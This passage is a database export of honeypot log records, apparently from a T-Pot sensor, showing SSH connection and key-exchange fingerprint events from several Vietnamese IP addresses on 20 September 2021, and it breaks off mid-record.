23930	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:08:19.336082+03	2021-09-20 14:15:08.13647+03	{"_id": "ZgbkAnwBvYTbRNuEeBD2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 448785086084569, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 60396, "dest_port": 22, "timestamp": "2021-09-20T11:08:19.336082Z", "@timestamp": "2021-09-20T11:08:19.336Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23931	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:19.336237+03	2021-09-20 14:15:08.138471+03	{"_id": "aQbkAnwBvYTbRNuEeRDa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60396, "timestamp": "2021-09-20T11:08:19.336237", "@timestamp": "2021-09-20T11:08:19.336Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23932	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:20.954584+03	2021-09-20 14:15:08.13947+03	{"_id": "kgbkAnwBvYTbRNuEfRDC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48600, "timestamp": "2021-09-20T11:08:20.954584", "@timestamp": "2021-09-20T11:08:20.954Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23933	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:08:20.954855+03	2021-09-20 14:15:08.14047+03	{"_id": "kwbkAnwBvYTbRNuEfRDC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 48600, "dest_port": 22, "timestamp": "2021-09-20T11:08:20.954855", "@timestamp": "2021-09-20T11:08:20.954Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23934	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:20.533547+03	2021-09-20 14:15:08.14247+03	{"_id": "lAbkAnwBvYTbRNuEfhBi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:42136 (192.168.176.2:22) [session: 693cefe0bf42]", "session": "693cefe0bf42", "@version": "1", "protocol": "ssh", "src_port": 42136, "dest_port": 22, "timestamp": "2021-09-20T11:08:20.533547Z", "@timestamp": "2021-09-20T11:08:20.533Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23935	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:20.678131+03	2021-09-20 14:15:08.14347+03	{"_id": "lQbkAnwBvYTbRNuEfhBi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:48600 (192.168.176.2:22) [session: 97dff7981ffd]", "session": "97dff7981ffd", "@version": "1", "protocol": "ssh", "src_port": 48600, "dest_port": 22, "timestamp": "2021-09-20T11:08:20.678131Z", "@timestamp": "2021-09-20T11:08:20.678Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23936	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:20.415974+03	2021-09-20 14:15:08.144472+03	{"_id": "nQbkAnwBvYTbRNuEfhBi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8acc74391e84", "@version": "1", "timestamp": "2021-09-20T11:08:20.415974Z", "@timestamp": "2021-09-20T11:08:20.415Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23952	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:23.165+03	2021-09-20 14:15:08.16747+03	{"_id": "0AbkAnwBvYTbRNuEhhBF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:54884 (192.168.176.2:22) [session: 4541dede7521]", "session": "4541dede7521", "@version": "1", "protocol": "ssh", "src_port": 54884, "dest_port": 22, "timestamp": "2021-09-20T11:08:23.165000Z", "@timestamp": "2021-09-20T11:08:23.165Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23937	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:20.43347+03	2021-09-20 14:15:08.146471+03	{"_id": "ngbkAnwBvYTbRNuEfhBi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "671c62b37a79", "@version": "1", "timestamp": "2021-09-20T11:08:20.433470Z", "@timestamp": "2021-09-20T11:08:20.433Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23938	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:20.503314+03	2021-09-20 14:15:08.14747+03	{"_id": "nwbkAnwBvYTbRNuEfhBi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "da2c9fe35ec9", "@version": "1", "timestamp": "2021-09-20T11:08:20.503314Z", "@timestamp": "2021-09-20T11:08:20.503Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-2